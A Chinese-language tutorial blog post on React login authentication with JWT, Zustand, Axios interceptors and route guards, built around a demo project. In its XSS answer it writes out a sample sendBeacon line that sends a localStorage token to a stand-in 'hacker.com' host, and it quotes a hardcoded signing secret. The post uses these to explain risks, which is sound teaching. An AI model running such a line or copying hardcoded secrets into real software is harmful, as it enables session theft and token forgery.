React + JWT 登录鉴权底层原理与工程化实践
不搞虚的,从
new XMLHttpRequest()到jwt.verify()源码级全链路解析
序言:一切从 HTTP 的无状态本质说起
1.1 为什么服务器总"不认识"你?
HTTP 协议被设计为 Stateless(无状态)。这意味着,每一次客户端(浏览器/App)向服务端发起请求,都是一次全新的、独立的会话。服务器处理完请求后,不会保留任何关于客户端的上下文信息。
举个例子: 你登录了淘宝,服务器返回了 { success: true }。但当你接着去点击"我的订单"时,服务器会想:"咦?你是谁?你登录过吗?"------它完全不记得了。
解决方案的演变:
- Cookie + Session 时代 :服务器在内存中存一份
Session(用户信息),把对应的SessionId通过Set-Cookie塞给浏览器。浏览器下次请求自动带上 Cookie。缺点:占用服务器内存,分布式环境下需要共享 Session 存储(如 Redis)。 - JWT 时代 :服务器不存状态。把用户信息(
{id, role})加密签名 成一个字符串(Token)丢给客户端。客户端下次请求把 Token 放请求头里。服务器收到后,用密钥验签,自己算出来你是谁 。优点:完全无状态,水平扩展无敌。
我们项目采用的就是第二种方案------JWT。
第一章:JWT 原理拆箱------不只是"加密"那么简单
对照你的 readme.md: "JSON 身份对象 -> JWT(单向操作) -> Token"。这里的"单向操作"到底是什么?我们深入底层。
1.1 JWT 的物理结构(防伪原理)
一个 JWT Token 长这样(眼熟吧): eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2MjUxMD...zXQ.6tKt4R9d4PpL0...
它由三个 . 分割的部分组成:
| 组成部分 | 名称 | 作用 | 是否加密 |
|---|---|---|---|
| Header | 头部 | 声明签名算法(如 HS256)和 Token 类型 | 仅 Base64Url 编码(明文) |
| Payload | 载荷 | 存放用户身份数据(user, role, exp 过期时间) |
仅 Base64Url 编码(明文) |
| Signature | 签名 | 对 Header.Payload 进行哈希签名,防止篡改 |
不可逆加密(带密钥) |
底层细节(这是关键!) :很多人误以为 JWT 是加密的,别人看不到。大错特错! 你只要把 Token 的前两段丢到 jwt.io 里,立刻就能解码出
{"user":"admin"}。 JWT 的核心不是"隐藏信息",而是 "防篡改"。
Signature 的生成公式(HS256 算法):
javascript
HMACSHA256(
base64UrlEncode(Header) + "." + base64UrlEncode(Payload),
secret // 这就是你代码里的 'secret819!$'
)
服务器验证时,重新用 secret 算一遍签名,如果和客户端传过来的 Signature 不一致,说明 Token 被篡改了,直接拒绝。
1.2 代码中的 Sign 与 Verify 深度解析(对照 mock/user.js)
(1)服务端签发(Sign)
javascript
// 你代码中的 jwt.sign
const token = jwt.sign(
{ user: body.username, role: 'admin' }, // Payload
secret, // 服务器的"私密盐"
{ expiresIn: 86400 } // 过期时间单位秒
)
深入解读 expiresIn :这个选项不仅是在 Payload 里加一个 exp 字段(Unix 时间戳),更重要的是,verify 方法会主动对比当前时间与 exp 。如果当前时间 > exp,直接抛出 TokenExpiredError。所以,即使黑客拿到了 Token,24 小时后也自动失效。
(2)服务端校验(Verify)
javascript
try {
let decoded = jwt.verify(token, secret)
// decoded 此时就是 { user: 'admin', role: 'admin', iat: 163..., exp: 163... }
} catch (err) {
// err.name 可能是 'JsonWebTokenError' (篡改) 或 'TokenExpiredError' (过期)
return { code: 401, msg: 'token无效' }
}
jwt.verify 做了三件底层事:
- 分割解析 :按
.分割,Base64Url 解码 Header 和 Payload。 - 签名重算 :用
secret重算 Signature,对比是否一致。 - 时间校验 :检查
exp(过期)和nbf(生效时间)等。
第二章:Zustand 源码级原理------为什么它能跨组件、跨路由?
对照你的 readme.md:"全局共享,跨路由。zustand 统一管理状态 store 状态仓库"。
你可能用过 useContext,但 Context 一旦变化,所有消费组件都会强制重渲染,性能极差。Zustand 为什么快?因为它基于 "发布-订阅模式" + "不可变数据快照"。
2.1 Zustand 的底层运行机制(手写简化版原理)
你的代码中使用了 create(set => ({ ... }))。这个 create 函数底层核心逻辑如下(简化源码):
javascript
const create = (createState) => {
let state; // 闭包变量存储状态
const listeners = new Set(); // 存储所有组件的更新函数
// 这就是你用的 set 函数
const setState = (partial) => {
const nextState = typeof partial === 'function' ? partial(state) : partial;
// 浅比较,如果没变化就不更新
if (!Object.is(state, nextState)) {
state = { ...state, ...nextState };
// 通知所有订阅的组件重新渲染
listeners.forEach(listener => listener(state));
}
};
const getState = () => state;
// 这就是 useAuthStore 返回的 hook
const useStore = (selector = (s) => s) => {
// 使用 useSyncExternalStore 连接 React 的并发渲染
const snapshot = useSyncExternalStore(
(onStoreChange) => {
listeners.add(onStoreChange);
return () => listeners.delete(onStoreChange); // 组件卸载时清理
},
() => selector(getState()) // 只有 selector 结果变了,组件才会 re-render
);
return snapshot;
};
// 初始化状态
state = createState(setState, getState);
return useStore;
};
结论 :Zustand 通过 selector(即 state => state.token)精准控制渲染粒度。只有你选中的 token 变了,Nav 组件才会刷新;如果 todos 变了但 token 没变,Nav 不会动。
2.2 为什么还要配合 localStorage?(持久化)
javascript
token: localStorage.getItem('token') || '', // 关键!
Zustand 的状态是存在 JavaScript 内存 中的,刷新页面内存释放,状态归零。 我们将 Token 同步写入 localStorage,让 localStorage 成为持久化缓存层 。页面刷新时,useAuthStore 初始化时先从 localStorage 捞数据,实现了"刷新页面登录状态不丢失"。
第三章:Mockjs 是如何"欺骗"浏览器的?(网络拦截原理)
你用了 vite-plugin-mock。它背后其实是 Connect/Express 中间件,在 Vite Dev Server 层面拦截请求。
3.1 拦截时机
浏览器发起 fetch('/api/login') -> Vite 开发服务器监听到请求 -> 插件匹配 url: '/api/login' 和方法 POST -> 直接返回 response 函数里的 JSON 数据,根本没有打到真正的后端。
3.2 为什么能模拟延迟?
你的代码中写了 timeout: 2000,插件会在 setTimeout 2秒后再返回 response,完美模拟了网络 I/O 延迟,让前端 Loading 态有真实的测试环境。
第四章:登录与 Token 颁发的全链路生命周期(代码全解析)
我们走一遍 Login.jsx 点击登录的完整流程,并深挖每一个微小的细节。
4.1 实时表单验证(useEffect 的巧妙运用)
javascript
useEffect(() => {
const newErrors = { username: '', password: '' };
if (!formData.username.trim()) newErrors.username = '用户名不能为空';
else if (formData.username.length < 3) newErrors.username = '用户名至少3位';
// ... 密码校验
setErrors(newErrors);
setIsValid(!newErrors.username && !newErrors.password);
}, [formData]); // 依赖 formData,每次输入都重新计算
底层细节 :这里的 disabled={!isValid} 并不是为了绝对安全(前端校验毫无安全可言),而是极致优化用户体验------减少无效请求,避免用户点了登录按钮后,后端返回 400 错误才告诉他"密码太短"。
4.2 登录成功后的状态注入(setAuth 原子化)
javascript
const res = await login(formData); // 1. 拿到 { code:0, token, user }
if (res.code === 0) {
setAuth({ token: res.token, user: res.user }); // 2. 原子化更新
navigate(from, { replace: true }); // 3. 路由跳转
}
这里有一个容易被忽视的点:setAuth 和 navigate 的顺序 。先 setAuth 更新 Zustand,再 navigate 跳转。因为 React 18 的自动批处理(Automatic Batching),状态更新和路由跳转会在同一个微任务中完成,所以 Pay 页面加载时,RequireAuth 一定能立刻读到最新的 token。
4.3 Nav 组件中的"条件渲染"细节
jsx
{!token && <Link to="/login">Login</Link>}
{user && <a>{user.username}</a>}
{token && <button onClick={handleLogout}>Logout</button>}
为什么不用一个 if...else 而用三个短路表达式?因为这样元素在 DOM 树中会被直接移除或插入 ,而不是通过 display: none 隐藏。这确保了点击退出登录后,Logout 按钮消失,Login 链接出现,不会有任何残留的事件监听。
第五章:Axios 拦截器------AOP(面向切面编程)的最佳实践
你写的 config.js 是整个鉴权系统的"血管"。我们深挖拦截器的执行机制。
5.1 请求拦截器的"队列"机制
javascript
instance.interceptors.request.use(config => {
const token = localStorage.getItem('token');
if (token) config.headers['Authorization'] = `Bearer ${token}`;
return config;
});
你可能不知道的底层 :Axios 的请求拦截器是 链式串行 的。你可以加多个 use,它们会按顺序执行。前一个 return 的值会传给后一个。
为什么这里要用 Bearer 前缀? 这是 HTTP 认证规范(RFC 6750),后端解析时通用做法是:
javascript
const token = req.headers.authorization.split(' ')[1];
没有 Bearer 前缀,后端还得猜这是个 Token,有了前缀,一看就知道是 OAuth2 标准的 Bearer Token。
5.2 响应拦截器的"剥壳"操作(解耦)
javascript
instance.interceptors.response.use(res => res.data);
这行代码虽然短,但极大提升了代码的可维护性 。 假设后端某一时刻突然把数据结构从 { code, data } 改成了 { status, result }。如果没有拦截器,你所有页面的 res.data.data 都要改。有了拦截器,你只需要改这一行:return res.data.result,业务代码 const res = await getRepo() 完全不用动。
5.3 如果 Token 过期了怎么办?(进阶思考)
虽然你的代码里没写,但一个健壮的响应拦截器应该处理 401:
javascript
instance.interceptors.response.use(
res => res.data,
error => {
if (error.response?.status === 401) {
// 清除本地无效 token
useAuthStore.getState().logout();
// 跳转到登录页
window.location.href = '/login';
}
return Promise.reject(error);
}
);
注意这里用了 useAuthStore.getState() 而不是 useAuthStore(),因为拦截器不是 React 组件,不能使用 Hook,而 Zustand 暴露的 getState() 方法可以直接读取仓库快照。
第六章:路由守卫(RequireAuth)的底层渲染逻辑
你的 RequireAuth 组件虽然简单,但背后涉及 React Router v6 的核心机制。
6.1 什么是 Navigate 组件?
jsx
if (!token) return <Navigate to="/login" replace />;
Navigate 组件在渲染时,会直接触发路由历史栈的替换。
- 如果没有
replace,点击浏览器的"返回"按钮会回到受保护的/pay,然后因为没 token 再次跳转/login,形成死循环。 - 有了
replace,/pay这个记录被/login替换掉了,用户点"返回"会回到更上一级页面。
6.2 登录成功后如何回到原来的页面?(状态传递)
你的 Login 组件里有 const from = location.state?.from || '/'。 配合路由守卫:
jsx
// RequireAuth.jsx 改进版(你的代码没写,但逻辑是隐含的)
<Navigate to="/login" replace state={{ from: location.pathname }} />
通过 state 把来源路径传过去,登录成功后 navigate(from),这才是丝滑的登录闭环。
第七章:深度答疑------关于 JWT 和 Zustand 的五个灵魂拷问
Q1:JWT 存在 localStorage 里安全吗?(XSS 攻击)
答 :不安全!localStorage 可以被任何同源下的 JavaScript 读取。如果你的网站有一个 XSS 漏洞(比如评论区注入了 <script>),黑客可以直接 navigator.sendBeacon('//hacker.com?token='+localStorage.getItem('token')) 盗走 Token。 最佳实践 :将 Token 放在 httpOnly 的 Cookie 中,这样 JavaScript 无法读取,只有浏览器自动发送,防御 XSS。但要注意防御 CSRF(同站攻击)。
Q2:为什么你的 Mock 中用了 jwt 库,但前端却不用?
因为前端永远不应该持有 secret !secret 是用于签名的盐,如果暴露在前端源码里,黑客就能自己伪造 Admin 身份的 Token。这也是为什么 jwt.verify 只发生在 mock/user.js(模拟服务端)中。
Q3:如果我想在 axios 拦截器中获取 Zustand 的最新状态,但用不了 Hook 怎么办?
使用 useAuthStore.getState() (这是 Zustand 提供的非 Hook 访问方法),或者使用 useAuthStore.subscribe 监听变化。拦截器是纯函数,不依赖 React 渲染周期。
Q4:jwt.sign 是同步的还是异步的?
同步的。因为 HMAC-SHA256 是纯粹的 CPU 密集型计算,但现代 Node.js 处理一个几千字节的 Token 签名只需几微秒,完全阻塞不了事件循环,所以官方库直接提供了同步方法。
Q5:如果用户登录了,但我在另一个浏览器标签页修改了 localStorage,Zustand 能感知吗?
不能! storage 事件只在 跨标签页 触发,但 Zustand 不监听该事件。如果你需要多标签页同步(比如一处退出,全部退出),需要在 App.jsx 中添加:
javascript
window.addEventListener('storage', (e) => {
if (e.key === 'token' && !e.newValue) {
useAuthStore.getState().logout();
}
});
第八章:工程化目录结构的最佳实践建议
你的 store 目录分了 user.js 和 todos.js,这是非常好的 Ducks 模式(模块化状态管理)。
如果项目变大,建议这样的分层:
bash
store/
├── index.js # 统一导出所有 store
├── slices/
│ ├── authSlice.js # 用户鉴权
│ ├── todosSlice.js # 待办列表
│ └── uiSlice.js # 全局 Loading、Theme
└── middleware/
└── persist.js # 封装 localStorage 持久化中间件
Zustand 天然支持中间件,你可以封装一个 persist 中间件,自动序列化所有 state 到 localStorage,免去在每个 action 里手动 setItem 的重复劳动。
第九章:全链路时序图(完整版带错误分支)
为了让你把脑子里所有的碎片串起来,这是一张史诗级的时序图:
结语:技术的本质是解决场景问题
我们不是为了写代码而写代码。
- "HTTP 无状态" ------ 我们用了 JWT。
- "组件通信状态共享" ------ 我们用了 Zustand。
- "请求头带上 Authorization" ------ 我们用了 Axios 拦截器。
- "跨路由鉴权" ------ 我们用了 RequireAuth 路由守卫。
每一个技术点,都是为了解决特定的业务痛点。希望这篇"掘金长文"能让你彻底弄懂前端鉴权的底层脉络,而不是只会调 npm install 的"配置工程师"。
如果你觉得这篇文章让你少走了三个月弯路,请猛击点赞和收藏,你的支持是我持续输出硬核内容的动力!